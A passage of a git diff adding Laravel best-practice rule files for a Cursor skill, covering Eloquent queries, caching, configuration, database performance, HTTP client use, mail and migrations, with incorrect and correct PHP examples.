])->withCasts(['last_login_at' => 'datetime']); +} +``` + +## Create Dynamic Relationships via Subquery FK + +Extend the `addSelect()` pattern to fetch a foreign key via subquery, then define a `belongsTo` relationship on that virtual attribute. This provides a fully-hydrated related model without loading the entire collection. + +```php +public function lastLogin(): BelongsTo +{ + return $this->belongsTo(Login::class); +} + +public function scopeWithLastLogin($query): void +{ + $query->addSelect([ + 'last_login_id' => Login::select('id') + ->whereColumn('user_id', 'users.id') + ->latest() + ->take(1), + ])->with('lastLogin'); +} +``` + +## Use Conditional Aggregates Instead of Multiple Count Queries + +Replace N separate `count()` queries with a single query using `CASE WHEN` inside `selectRaw()`. Use `toBase()` to skip model hydration when you only need scalar values. + +```php +$statuses = Feature::toBase() + ->selectRaw("count(case when status = 'Requested' then 1 end) as requested") + ->selectRaw("count(case when status = 'Planned' then 1 end) as planned") + ->selectRaw("count(case when status = 'Completed' then 1 end) as completed") + ->first(); +``` + +## Use `setRelation()` to Prevent Circular N+1 + +When a parent model is eager-loaded with its children, and the view also needs `$child->parent`, use `setRelation()` to inject the already-loaded parent rather than letting Eloquent fire N additional queries. + +```php +$feature->load('comments.user'); +$feature->comments->each->setRelation('feature', $feature); +``` + +## Prefer `whereIn` + Subquery Over `whereHas` + +`whereHas()` emits a correlated `EXISTS` subquery that re-executes per row. Using `whereIn()` with a `select('id')` subquery lets the database use an index lookup instead, without loading data into PHP memory. + +Incorrect (correlated EXISTS re-executes per row): + +```php +$query->whereHas('company', fn ($q) => $q->where('name', 'like', $term)); +``` + +Correct (index-friendly subquery, no PHP memory overhead): + +```php +$query->whereIn('company_id', Company::where('name', 'like', $term)->select('id')); +``` + +## Sometimes Two Simple Queries Beat One Complex Query + +Running a small, targeted secondary query and passing its results via `whereIn` is often faster than a single complex correlated subquery or join. The additional round-trip is worthwhile when the secondary query is highly selective and uses its own index. + +## Use Compound Indexes Matching `orderBy` Column Order + +When ordering by multiple columns, create a single compound index in the same column order as the `ORDER BY` clause. Individual single-column indexes cannot combine for multi-column sorts — the database will filesort without a compound index. + +```php +// Migration +$table->index(['last_name', 'first_name']); + +// Query — column order must match the index +User::query()->orderBy('last_name')->orderBy('first_name')->paginate(); +``` + +## Use Correlated Subqueries for Has-Many Ordering + +When sorting by a value from a has-many relationship, avoid joins (they duplicate rows). Use a correlated subquery inside `orderBy()` instead, paired with an `addSelect` scope for eager loading. + +```php +public function scopeOrderByLastLogin($query): void +{ + $query->orderByDesc(Login::select('created_at') + ->whereColumn('user_id', 'users.id') + ->latest() + ->take(1) + ); +} +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/architecture.md b/.cursor/skills/laravel-best-practices/rules/architecture.md new file mode 100644 index 000000000..165056422 --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/architecture.md @@ -0,0 +1,202 @@ +# Architecture Best Practices + +## Single-Purpose Action Classes + +Extract discrete business operations into invokable Action classes. + +```php +class CreateOrderAction +{ + public function __construct(private InventoryService $inventory) {} + + public function execute(array $data): Order + { + $order = Order::create($data); + $this->inventory->reserve($order); + + return $order; + } +} +``` + +## Use Dependency Injection + +Always use constructor injection. Avoid `app()` or `resolve()` inside classes. + +Incorrect: +```php +class OrderController extends Controller +{ + public function store(StoreOrderRequest $request) + { + $service = app(OrderService::class); + + return $service->create($request->validated()); + } +} +``` + +Correct: +```php +class OrderController extends Controller +{ + public function __construct(private OrderService $service) {} + + public function store(StoreOrderRequest $request) + { + return $this->service->create($request->validated()); + } +} +``` + +## Code to Interfaces + +Depend on contracts at system boundaries (payment gateways, notification channels, external APIs) for testability and swappability. + +Incorrect (concrete dependency): +```php +class OrderService +{ + public function __construct(private StripeGateway $gateway) {} +} +``` + +Correct (interface dependency): +```php +interface PaymentGateway +{ + public function charge(int $amount, string $customerId): PaymentResult; +} + +class OrderService +{ + public function __construct(private PaymentGateway $gateway) {} +} +``` + +Bind in a service provider: + +```php +$this->app->bind(PaymentGateway::class, StripeGateway::class); +``` + +## Default Sort by Descending + +When no explicit order is specified, sort by `id` or `created_at` descending. Explicit ordering prevents cross-database inconsistencies between MySQL and Postgres. + +Incorrect: +```php +$posts = Post::paginate(); +``` + +Correct: +```php +$posts = Post::latest()->paginate(); +``` + +## Use Atomic Locks for Race Conditions + +Prevent race conditions with `Cache::lock()` or `lockForUpdate()`. + +```php +Cache::lock('order-processing-'.$order->id, 10)->block(5, function () use ($order) { + $order->process(); +}); + +// Or at query level +$product = Product::where('id', $id)->lockForUpdate()->first(); +``` + +## Use `mb_*` String Functions + +When no Laravel helper exists, prefer `mb_strlen`, `mb_strtolower`, etc. for UTF-8 safety. Standard PHP string functions count bytes, not characters. + +Incorrect: +```php +strlen('José'); // 5 (bytes, not characters) +strtolower('MÜNCHEN'); // 'mÜnchen' — fails on multibyte +``` + +Correct: +```php +mb_strlen('José'); // 4 (characters) +mb_strtolower('MÜNCHEN'); // 'münchen' + +// Prefer Laravel's Str helpers when available +Str::length('José'); // 4 +Str::lower('MÜNCHEN'); // 'münchen' +``` + +## Use `defer()` for Post-Response Work + +For lightweight tasks that don't need to survive a crash (logging, analytics, cleanup), use `defer()` instead of dispatching a job. The callback runs after the HTTP response is sent — no queue overhead. + +Incorrect (job overhead for trivial work): +```php +dispatch(new LogPageView($page)); +``` + +Correct (runs after response, same process): +```php +defer(fn () => PageView::create(['page_id' => $page->id, 'user_id' => auth()->id()])); +``` + +Use jobs when the work must survive process crashes or needs retry logic. Use `defer()` for fire-and-forget work. + +## Use `Context` for Request-Scoped Data + +The `Context` facade passes data through the entire request lifecycle — middleware, controllers, jobs, logs — without passing arguments manually. + +```php +// In middleware +Context::add('tenant_id', $request->header('X-Tenant-ID')); + +// Anywhere later — controllers, jobs, log context +$tenantId = Context::get('tenant_id'); +``` + +Context data automatically propagates to queued jobs and is included in log entries. Use `Context::addHidden()` for sensitive data that should be available in queued jobs but excluded from log context. If data must not leave the current process, do not store it in `Context`. + +## Use `Concurrency::run()` for Parallel Execution + +Run independent operations in parallel using child processes — no async libraries needed. + +```php +use Illuminate\Support\Facades\Concurrency; + +[$users, $orders] = Concurrency::run([ + fn () => User::count(), + fn () => Order::where('status', 'pending')->count(), +]); +``` + +Each closure runs in a separate process with full Laravel access. Use for independent database queries, API calls, or computations that would otherwise run sequentially. + +## Convention Over Configuration + +Follow Laravel conventions. Don't override defaults unnecessarily. + +Incorrect: +```php +class Customer extends Model +{ + protected $table = 'Customer'; + protected $primaryKey = 'customer_id'; + + public function roles(): BelongsToMany + { + return $this->belongsToMany(Role::class, 'role_customer', 'customer_id', 'role_id'); + } +} +``` + +Correct: +```php +class Customer extends Model +{ + public function roles(): BelongsToMany + { + return $this->belongsToMany(Role::class); + } +} +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/blade-views.md b/.cursor/skills/laravel-best-practices/rules/blade-views.md new file mode 100644 index 000000000..c6f8aaf1e --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/blade-views.md @@ -0,0 +1,36 @@ +# Blade & Views Best Practices + +## Use `$attributes->merge()` in Component Templates + +Hardcoding classes prevents consumers from adding their own. `merge()` combines class attributes cleanly. + +```blade +
merge(['class' => 'alert alert-'.$type]) }}> + {{ $message }} +
+``` + +## Use `@pushOnce` for Per-Component Scripts + +If a component renders inside a `@foreach`, `@push` inserts the script N times. `@pushOnce` guarantees it's included exactly once. + +## Prefer Blade Components Over `@include` + +`@include` shares all parent variables implicitly (hidden coupling). Components have explicit props, attribute bags, and slots. + +## Use View Composers for Shared View Data + +If every controller rendering a sidebar must pass `$categories`, that's duplicated code. A View Composer centralizes it. + +## Use Blade Fragments for Partial Re-Renders (htmx/Turbo) + +A single view can return either the full page or just a fragment, keeping routing clean. + +```php +return view('dashboard', compact('users')) + ->fragmentIf($request->hasHeader('HX-Request'), 'user-list'); +``` + +## Use `@aware` for Deeply Nested Component Props + +Avoids re-passing parent props through every level of nested components. \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/caching.md b/.cursor/skills/laravel-best-practices/rules/caching.md new file mode 100644 index 000000000..eb3ef3e62 --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/caching.md @@ -0,0 +1,70 @@ +# Caching Best Practices + +## Use `Cache::remember()` Instead of Manual Get/Put + +Atomic pattern prevents race conditions and removes boilerplate. + +Incorrect: +```php +$val = Cache::get('stats'); +if (! $val) { + $val = $this->computeStats(); + Cache::put('stats', $val, 60); +} +``` + +Correct: +```php +$val = Cache::remember('stats', 60, fn () => $this->computeStats()); +``` + +## Use `Cache::flexible()` for Stale-While-Revalidate + +On high-traffic keys, one user always gets a slow response when the cache expires. `flexible()` serves slightly stale data while refreshing in the background. + +Incorrect: `Cache::remember('users', 300, fn () => User::all());` + +Correct: `Cache::flexible('users', [300, 600], fn () => User::all());` — fresh for 5 min, stale-but-served up to 10 min, refreshes via deferred function. + +## Use `Cache::memo()` to Avoid Redundant Hits Within a Request + +If the same cache key is read multiple times per request (e.g., a service called from multiple places), `memo()` stores the resolved value in memory. + +`Cache::memo()->get('settings');` — 5 calls = 1 Redis round-trip instead of 5. + +## Use Cache Tags to Invalidate Related Groups + +Without tags, invalidating a group of entries requires tracking every key. Tags let you flush atomically. Only works with `redis`, `memcached`, `dynamodb` — not `file` or `database`. + +```php +Cache::tags(['user-1'])->flush(); +``` + +## Use `Cache::add()` for Atomic Conditional Writes + +`add()` only writes if the key does not exist — atomic, no race condition between checking and writing. + +Incorrect: `if (! Cache::has('lock')) { Cache::put('lock', true, 10); }` + +Correct: `Cache::add('lock', true, 10);` + +## Use `once()` for Per-Request Memoization + +`once()` memoizes a function's return value for the lifetime of the object (or request for closures). Unlike `Cache::memo()`, it doesn't hit the cache store at all — pure in-memory. + +```php +public function roles(): Collection +{ + return once(fn () => $this->loadRoles()); +} +``` + +Multiple calls return the cached result without re-executing. Use `once()` for expensive computations called multiple times per request. Use `Cache::memo()` when you also want cross-request caching. + +## Configure Failover Cache Stores in Production + +If Redis goes down, the app falls back to a secondary store automatically. + +```php +'failover' => ['driver' => 'failover', 'stores' => ['redis', 'database']], +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/collections.md b/.cursor/skills/laravel-best-practices/rules/collections.md new file mode 100644 index 000000000..14f683d32 --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/collections.md @@ -0,0 +1,44 @@ +# Collection Best Practices + +## Use Higher-Order Messages for Simple Operations + +Incorrect: +```php +$users->each(function (User $user) { + $user->markAsVip(); +}); +``` + +Correct: `$users->each->markAsVip();` + +Works with `each`, `map`, `sum`, `filter`, `reject`, `contains`, etc. + +## Choose `cursor()` vs. `lazy()` Correctly + +- `cursor()` — one model in memory, but cannot eager-load relationships (N+1 risk). +- `lazy()` — chunked pagination returning a flat LazyCollection, supports eager loading. + +Incorrect: `User::with('roles')->cursor()` — eager loading silently ignored. + +Correct: `User::with('roles')->lazy()` for relationship access; `User::cursor()` for attribute-only work. + +## Use `lazyById()` When Updating Records While Iterating + +`lazy()` uses offset pagination — updating records during iteration can skip or double-process. `lazyById()` uses `id > last_id`, safe against mutation. + +## Use `toQuery()` for Bulk Operations on Collections + +Avoids manual `whereIn` construction. + +Incorrect: `User::whereIn('id', $users->pluck('id'))->update([...]);` + +Correct: `$users->toQuery()->update([...]);` + +## Use `#[CollectedBy]` for Custom Collection Classes + +More declarative than overriding `newCollection()`. + +```php +#[CollectedBy(UserCollection::class)] +class User extends Model {} +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/config.md b/.cursor/skills/laravel-best-practices/rules/config.md new file mode 100644 index 000000000..8fd8f536f --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/config.md @@ -0,0 +1,73 @@ +# Configuration Best Practices + +## `env()` Only in Config Files + +Direct `env()` calls return `null` when config is cached. + +Incorrect: +```php +$key = env('API_KEY'); +``` + +Correct: +```php +// config/services.php +'key' => env('API_KEY'), + +// Application code +$key = config('services.key'); +``` + +## Use Encrypted Env or External Secrets + +Never store production secrets in plain `.env` files in version control. + +Incorrect: +```bash + +# .env committed to repo or shared in Slack + +STRIPE_SECRET=sk_live_abc123 +AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI +``` + +Correct: +```bash +php artisan env:encrypt --env=production --readable +php artisan env:decrypt --env=production +``` + +For cloud deployments, prefer the platform's native secret store (AWS Secrets Manager, Vault, etc.) and inject at runtime. + +## Use `App::environment()` for Environment Checks + +Incorrect: +```php +if (env('APP_ENV') === 'production') { +``` + +Correct: +```php +if (app()->isProduction()) { +// or +if (App::environment('production')) { +``` + +## Use Constants and Language Files + +Use class constants instead of hardcoded magic strings for model states, types, and statuses. + +```php +// Incorrect +return $this->type === 'normal'; + +// Correct +return $this->type === self::TYPE_NORMAL; +``` + +If the application already uses language files for localization, use `__()` for user-facing strings too. Do not introduce language files purely for English-only apps — simple string literals are fine there. + +```php +// Only when lang files already exist in the project +return back()->with('message', __('app.article_added')); +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/db-performance.md b/.cursor/skills/laravel-best-practices/rules/db-performance.md new file mode 100644 index 000000000..8fb719377 --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/db-performance.md @@ -0,0 +1,192 @@ +# Database Performance Best Practices + +## Always Eager Load Relationships + +Lazy loading causes N+1 query problems — one query per loop iteration. Always use `with()` to load relationships upfront. + +Incorrect (N+1 — executes 1 + N queries): +```php +$posts = Post::all(); +foreach ($posts as $post) { + echo $post->author->name; +} +``` + +Correct (2 queries total): +```php +$posts = Post::with('author')->get(); +foreach ($posts as $post) { + echo $post->author->name; +} +``` + +Constrain eager loads to select only needed columns (always include the foreign key): + +```php +$users = User::with(['posts' => function ($query) { + $query->select('id', 'user_id', 'title') + ->where('published', true) + ->latest() + ->limit(10); +}])->get(); +``` + +## Prevent Lazy Loading in Development + +Enable this in `AppServiceProvider::boot()` to catch N+1 issues during development. + +```php +public function boot(): void +{ + Model::preventLazyLoading(! app()->isProduction()); +} +``` + +Throws `LazyLoadingViolationException` when a relationship is accessed without being eager-loaded. + +## Select Only Needed Columns + +Avoid `SELECT *` — especially when tables have large text or JSON columns. + +Incorrect: +```php +$posts = Post::with('author')->get(); +``` + +Correct: +```php +$posts = Post::select('id', 'title', 'user_id', 'created_at') + ->with(['author:id,name,avatar']) + ->get(); +``` + +When selecting columns on eager-loaded relationships, always include the foreign key column or the relationship won't match. + +## Chunk Large Datasets + +Never load thousands of records at once. Use chunking for batch processing. + +Incorrect: +```php +$users = User::all(); +foreach ($users as $user) { + $user->notify(new WeeklyDigest); +} +``` + +Correct: +```php +User::where('subscribed', true)->chunk(200, function ($users) { + foreach ($users as $user) { + $user->notify(new WeeklyDigest); + } +}); +``` + +Use `chunkById()` when modifying records during iteration — standard `chunk()` uses OFFSET which shifts when rows change: + +```php +User::where('active', false)->chunkById(200, function ($users) { + $users->each->delete(); +}); +``` + +## Add Database Indexes + +Index columns that appear in `WHERE`, `ORDER BY`, `JOIN`, and `GROUP BY` clauses. + +Incorrect: +```php +Schema::create('orders', function (Blueprint $table) { + $table->id(); + $table->foreignId('user_id')->constrained(); + $table->string('status'); + $table->timestamps(); +}); +``` + +Correct: +```php +Schema::create('orders', function (Blueprint $table) { + $table->id(); + $table->foreignId('user_id')->index()->constrained(); + $table->string('status')->index(); + $table->timestamps(); + $table->index(['status', 'created_at']); +}); +``` + +Add composite indexes for common query patterns (e.g., `WHERE status = ? ORDER BY created_at`). + +## Use `withCount()` for Counting Relations + +Never load entire collections just to count them. + +Incorrect: +```php +$posts = Post::all(); +foreach ($posts as $post) { + echo $post->comments->count(); +} +``` + +Correct: +```php +$posts = Post::withCount('comments')->get(); +foreach ($posts as $post) { + echo $post->comments_count; +} +``` + +Conditional counting: + +```php +$posts = Post::withCount([ + 'comments', + 'comments as approved_comments_count' => function ($query) { + $query->where('approved', true); + }, +])->get(); +``` + +## Use `cursor()` for Memory-Efficient Iteration + +For read-only iteration over large result sets, `cursor()` loads one record at a time via a PHP generator. + +Incorrect: +```php +$users = User::where('active', true)->get(); +``` + +Correct: +```php +foreach (User::where('active', true)->cursor() as $user) { + ProcessUser::dispatch($user->id); +} +``` + +Use `cursor()` for read-only iteration. Use `chunk()` / `chunkById()` when modifying records. + +## No Queries in Blade Templates + +Never execute queries in Blade templates. Pass data from controllers. + +Incorrect: +```blade +@foreach (User::all() as $user) + {{ $user->profile->name }} +@endforeach +``` + +Correct: +```php +// Controller +$users = User::with('profile')->get(); +return view('users.index', compact('users')); +``` + +```blade +@foreach ($users as $user) + {{ $user->profile->name }} +@endforeach +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/eloquent.md b/.cursor/skills/laravel-best-practices/rules/eloquent.md new file mode 100644 index 000000000..09cd66a05 --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/eloquent.md @@ -0,0 +1,148 @@ +# Eloquent Best Practices + +## Use Correct Relationship Types + +Use `hasMany`, `belongsTo`, `morphMany`, etc. with proper return type hints. + +```php +public function comments(): HasMany +{ + return $this->hasMany(Comment::class); +} + +public function author(): BelongsTo +{ + return $this->belongsTo(User::class, 'user_id'); +} +``` + +## Use Local Scopes for Reusable Queries + +Extract reusable query constraints into local scopes to avoid duplication. + +Incorrect: +```php +$active = User::where('verified', true)->whereNotNull('activated_at')->get(); +$articles = Article::whereHas('user', function ($q) { + $q->where('verified', true)->whereNotNull('activated_at'); +})->get(); +``` + +Correct: +```php +public function scopeActive(Builder $query): Builder +{ + return $query->where('verified', true)->whereNotNull('activated_at'); +} + +// Usage +$active = User::active()->get(); +$articles = Article::whereHas('user', fn ($q) => $q->active())->get(); +``` + +## Apply Global Scopes Sparingly + +Global scopes silently modify every query on the model, making debugging difficult. Prefer local scopes and reserve global scopes for truly universal constraints like soft deletes or multi-tenancy. + +Incorrect (global scope for a conditional filter): +```php +class PublishedScope implements Scope +{ + public function apply(Builder $builder, Model $model): void + { + $builder->where('published', true); + } +} +// Now admin panels, reports, and background jobs all silently skip drafts +``` + +Correct (local scope you opt into): +```php +public function scopePublished(Builder $query): Builder +{ + return $query->where('published', true); +} + +Post::published()->paginate(); // Explicit +Post::paginate(); // Admin sees all +``` + +## Define Attribute Casts + +Use the `casts()` method (or `$casts` property following project convention) for automatic type conversion. + +```php +protected function casts(): array +{ + return [ + 'is_active' => 'boolean', + 'metadata' => 'array', + 'total' => 'decimal:2', + ]; +} +``` + +## Cast Date Columns Properly + +Always cast date columns. Use Carbon instances in templates instead of formatting strings manually. + +Incorrect: +```blade +{{ Carbon::createFromFormat('Y-d-m H-i', $order->ordered_at)->toDateString() }} +``` + +Correct: +```php +protected function casts(): array +{ + return [ + 'ordered_at' => 'datetime', + ]; +} +``` + +```blade +{{ $order->ordered_at->toDateString() }} +{{ $order->ordered_at->format('m-d') }} +``` + +## Use `whereBelongsTo()` for Relationship Queries + +Cleaner than manually specifying foreign keys. + +Incorrect: +```php +Post::where('user_id', $user->id)->get(); +``` + +Correct: +```php +Post::whereBelongsTo($user)->get(); +Post::whereBelongsTo($user, 'author')->get(); +``` + +## Avoid Hardcoded Table Names in Queries + +Never use string literals for table names in raw queries, joins, or subqueries. Hardcoded table names make it impossible to find all places a model is used and break refactoring (e.g., renaming a table requires hunting through every raw string). + +Incorrect: +```php +DB::table('users')->where('active', true)->get(); + +$query->join('companies', 'companies.id', '=', 'users.company_id'); + +DB::select('SELECT * FROM orders WHERE status = ?', ['pending']); +``` + +Correct — reference the model's table: +```php +DB::table((new User)->getTable())->where('active', true)->get(); + +// Even better — use Eloquent or the query builder instead of raw SQL +User::where('active', true)->get(); +Order::where('status', 'pending')->get(); +``` + +Prefer Eloquent queries and relationships over `DB::table()` whenever possible — they already reference the model's table. When `DB::table()` or raw joins are unavoidable, always use `(new Model)->getTable()` to keep the reference traceable. + +**Exception — migrations:** In migrations, hardcoded table names via `DB::table('settings')` are acceptable and preferred. Models change over time but migrations are frozen snapshots — referencing a model that is later renamed or deleted would break the migration. \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/error-handling.md b/.cursor/skills/laravel-best-practices/rules/error-handling.md new file mode 100644 index 000000000..bb8e7a387 --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/error-handling.md @@ -0,0 +1,72 @@ +# Error Handling Best Practices + +## Exception Reporting and Rendering + +There are two valid approaches — choose one and apply it consistently across the project. + +**Co-location on the exception class** — keeps behavior alongside the exception definition, easier to find: + +```php +class InvalidOrderException extends Exception +{ + public function report(): void { /* custom reporting */ } + + public function render(Request $request): Response + { + return response()->view('errors.invalid-order', status: 422); + } +} +``` + +**Centralized in `bootstrap/app.php`** — all exception handling in one place, easier to see the full picture: + +```php +->withExceptions(function (Exceptions $exceptions) { + $exceptions->report(function (InvalidOrderException $e) { /* ... */ }); + $exceptions->render(function (InvalidOrderException $e, Request $request) { + return response()->view('errors.invalid-order', status: 422); + }); +}) +``` + +Check the existing codebase and follow whichever pattern is already established. + +## Use `ShouldntReport` for Exceptions That Should Never Log + +More discoverable than listing classes in `dontReport()`. + +```php +class PodcastProcessingException extends Exception implements ShouldntReport {} +``` + +## Throttle High-Volume Exceptions + +A single failing integration can flood error tracking. Use `throttle()` to rate-limit per exception type. + +## Enable `dontReportDuplicates()` + +Prevents the same exception instance from being logged multiple times when `report($e)` is called in multiple catch blocks. + +## Force JSON Error Rendering for API Routes + +Laravel auto-detects `Accept: application/json` but API clients may not set it. Explicitly declare JSON rendering for API routes. + +```php +$exceptions->shouldRenderJsonWhen(function (Request $request, Throwable $e) { + return $request->is('api/*') || $request->expectsJson(); +}); +``` + +## Add Context to Exception Classes + +Attach structured data to exceptions at the source via a `context()` method — Laravel includes it automatically in the log entry. + +```php +class InvalidOrderException extends Exception +{ + public function context(): array + { + return ['order_id' => $this->orderId]; + } +} +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/events-notifications.md b/.cursor/skills/laravel-best-practices/rules/events-notifications.md new file mode 100644 index 000000000..bc43f1997 --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/events-notifications.md @@ -0,0 +1,48 @@ +# Events & Notifications Best Practices + +## Rely on Event Discovery + +Laravel auto-discovers listeners by reading `handle(EventType $event)` type-hints. No manual registration needed in `AppServiceProvider`. + +## Run `event:cache` in Production Deploy + +Event discovery scans the filesystem per-request in dev. Cache it in production: `php artisan optimize` or `php artisan event:cache`. + +## Use `ShouldDispatchAfterCommit` Inside Transactions + +Without it, a queued listener may process before the DB transaction commits, reading data that doesn't exist yet. + +```php +class OrderShipped implements ShouldDispatchAfterCommit {} +``` + +## Always Queue Notifications + +Notifications often hit external APIs (email, SMS, Slack). Without `ShouldQueue`, they block the HTTP response. + +```php +class InvoicePaid extends Notification implements ShouldQueue +{ + use Queueable; +} +``` + +## Use `afterCommit()` on Notifications in Transactions + +Same race condition as events — the queued notification job may run before the transaction commits. + +## Route Notification Channels to Dedicated Queues + +Mail and database notifications have different priorities. Use `viaQueues()` to route them to separate queues. + +## Use On-Demand Notifications for Non-User Recipients + +Avoid creating dummy models to send notifications to arbitrary addresses. + +```php +Notification::route('mail', 'admin@example.com')->notify(new SystemAlert()); +``` + +## Implement `HasLocalePreference` on Notifiable Models + +Laravel automatically uses the user's preferred locale for all notifications and mailables — no per-call `locale()` needed. \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/http-client.md b/.cursor/skills/laravel-best-practices/rules/http-client.md new file mode 100644 index 000000000..0a7876ed3 --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/http-client.md @@ -0,0 +1,160 @@ +# HTTP Client Best Practices + +## Always Set Explicit Timeouts + +The default timeout is 30 seconds — too long for most API calls. Always set explicit `timeout` and `connectTimeout` to fail fast. + +Incorrect: +```php +$response = Http::get('https://api.example.com/users'); +``` + +Correct: +```php +$response = Http::timeout(5) + ->connectTimeout(3) + ->get('https://api.example.com/users'); +``` + +For service-specific clients, define timeouts in a macro: + +```php +Http::macro('github', function () { + return Http::baseUrl('https://api.github.com') + ->timeout(10) + ->connectTimeout(3) + ->withToken(config('services.github.token')); +}); + +$response = Http::github()->get('/repos/laravel/framework'); +``` + +## Use Retry with Backoff for External APIs + +External APIs have transient failures. Use `retry()` with increasing delays. + +Incorrect: +```php +$response = Http::post('https://api.stripe.com/v1/charges', $data); + +if ($response->failed()) { + throw new PaymentFailedException('Charge failed'); +} +``` + +Correct: +```php +$response = Http::retry([100, 500, 1000]) + ->timeout(10) + ->post('https://api.stripe.com/v1/charges', $data); +``` + +Only retry on specific errors: + +```php +$response = Http::retry(3, 100, function (Exception $exception, PendingRequest $request) { + return $exception instanceof ConnectionException + || ($exception instanceof RequestException && $exception->response->serverError()); +})->post('https://api.example.com/data'); +``` + +## Handle Errors Explicitly + +The HTTP Client does not throw on 4xx/5xx by default. Always check status or use `throw()`. + +Incorrect: +```php +$response = Http::get('https://api.example.com/users/1'); +$user = $response->json(); // Could be an error body +``` + +Correct: +```php +$response = Http::timeout(5) + ->get('https://api.example.com/users/1') + ->throw(); + +$user = $response->json(); +``` + +For graceful degradation: + +```php +$response = Http::get('https://api.example.com/users/1'); + +if ($response->successful()) { + return $response->json(); +} + +if ($response->notFound()) { + return null; +} + +$response->throw(); +``` + +## Use Request Pooling for Concurrent Requests + +When making multiple independent API calls, use `Http::pool()` instead of sequential calls. + +Incorrect: +```php +$users = Http::get('https://api.example.com/users')->json(); +$posts = Http::get('https://api.example.com/posts')->json(); +$comments = Http::get('https://api.example.com/comments')->json(); +``` + +Correct: +```php +use Illuminate\Http\Client\Pool; + +$responses = Http::pool(fn (Pool $pool) => [ + $pool->as('users')->get('https://api.example.com/users'), + $pool->as('posts')->get('https://api.example.com/posts'), + $pool->as('comments')->get('https://api.example.com/comments'), +]); + +$users = $responses['users']->json(); +$posts = $responses['posts']->json(); +``` + +## Fake HTTP Calls in Tests + +Never make real HTTP requests in tests. Use `Http::fake()` and `preventStrayRequests()`. + +Incorrect: +```php +it('syncs user from API', function () { + $service = new UserSyncService; + $service->sync(1); // Hits the real API +}); +``` + +Correct: +```php +it('syncs user from API', function () { + Http::preventStrayRequests(); + + Http::fake([ + 'api.example.com/users/1' => Http::response([ + 'name' => 'John Doe', + 'email' => 'john@example.com', + ]), + ]); + + $service = new UserSyncService; + $service->sync(1); + + Http::assertSent(function (Request $request) { + return $request->url() === 'https://api.example.com/users/1'; + }); +}); +``` + +Test failure scenarios too: + +```php +Http::fake([ + 'api.example.com/*' => Http::failedConnection(), +]); +``` \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/mail.md b/.cursor/skills/laravel-best-practices/rules/mail.md new file mode 100644 index 000000000..c7f67966e --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/mail.md @@ -0,0 +1,27 @@ +# Mail Best Practices + +## Implement `ShouldQueue` on the Mailable Class + +Makes queueing the default regardless of how the mailable is dispatched. No need to remember `Mail::queue()` at every call site — `Mail::send()` also queues it. + +## Use `afterCommit()` on Mailables Inside Transactions + +A queued mailable dispatched inside a transaction may process before the commit. Use `$this->afterCommit()` in the constructor. + +## Use `assertQueued()` Not `assertSent()` for Queued Mailables + +`Mail::assertSent()` only catches synchronous mail. Queued mailables silently pass `assertSent`, giving false confidence. + +Incorrect: `Mail::assertSent(OrderShipped::class);` when mailable implements `ShouldQueue`. + +Correct: `Mail::assertQueued(OrderShipped::class);` + +## Use Markdown Mailables for Transactional Emails + +Markdown mailables auto-generate both HTML and plain-text versions, use responsive components, and allow global style customization. Generate with `--markdown` flag. + +## Separate Content Tests from Sending Tests + +Content tests: instantiate the mailable directly, call `assertSeeInHtml()`. +Sending tests: use `Mail::fake()` and `assertSent()`/`assertQueued()`. +Don't mix them — it conflates concerns and makes tests brittle. \ No newline at end of file diff --git a/.cursor/skills/laravel-best-practices/rules/migrations.md b/.cursor/skills/laravel-best-practices/rules/migrations.md new file mode 100644 index 000000000..de25aa39c --- /dev/null +++ b/.cursor/skills/laravel-best-practices/rules/migrations.md @@ -0,0 +1,121 @@ +# Migration Best Practices + +## Generate Migrations with Artisan + +Always use `php artisan make:migration` for consistent naming and timestamps. + +Incorrect (manually created file): +```php +// database/migrations/posts_migration.php ← wrong naming, no timestamp +``` + +Correct (Artisan-generated): +```bash +php artisan make:migration create_posts_table +php artisan make:migration add_slug_to_posts_table +``` + +## Use `constrained()` for Foreign Keys + +Automatic naming and referential integrity. + +```php +$table->foreignId('user_id')->constrained()->cascadeOnDelete(); + +// Non-standard names +$table->foreignId('author_id')->constrained('users'); +``` + +## Never Modify Deployed Migrations + +Once a migration has run in production, treat it as immutable. Create a new migration to change the table. + +Incorrect (editing a deployed migration): +```php +// 2024_01_01_create_posts_table.php — already in production +$table->string('slug')->unique(); // ← added after deployment +``` + +Correct (new migration to alter): +```php +// 2024_03_15_add_slug_to_posts_table.php +Schema::table('posts', function (Blueprint $table) { + $table->string('slug')->unique()->after('title'); +}); +``` + +## Add Indexes in the Migration + +Add indexes when creating the table, not as an afterthought. Columns used in `WHERE`, `ORDER BY`, and `JOIN` clauses need indexes. + +Incorrect: +```php +Schema::create('orders', function (Blueprint $table) { + $table->id(); + $table->foreignId('user_id')->constrained(); + $table->string('status'); + $table->timestamps(); +}); +``` + +Correct: +```php +Schema::create('orders', function (Blueprint $table) { + $table->id(); + $table->foreignId('user_id')->constrained()->index(); + $table->string('status')->index(); + $table->timestamp('shipped_at')->nullable()->index(); + $table->timestamps(); +}); +``` + +## Mirror Defaults in Model `$attributes` + +When a column has a database default, mirror it in the model so new instances have correct values before saving. + +```php +// Migration +$table->string('status')->default('pending'); + +// Model +protected $attributes = [ + 'status' => 'pending', +]; +``` + +## Write Reversible `down()` Methods by Default + 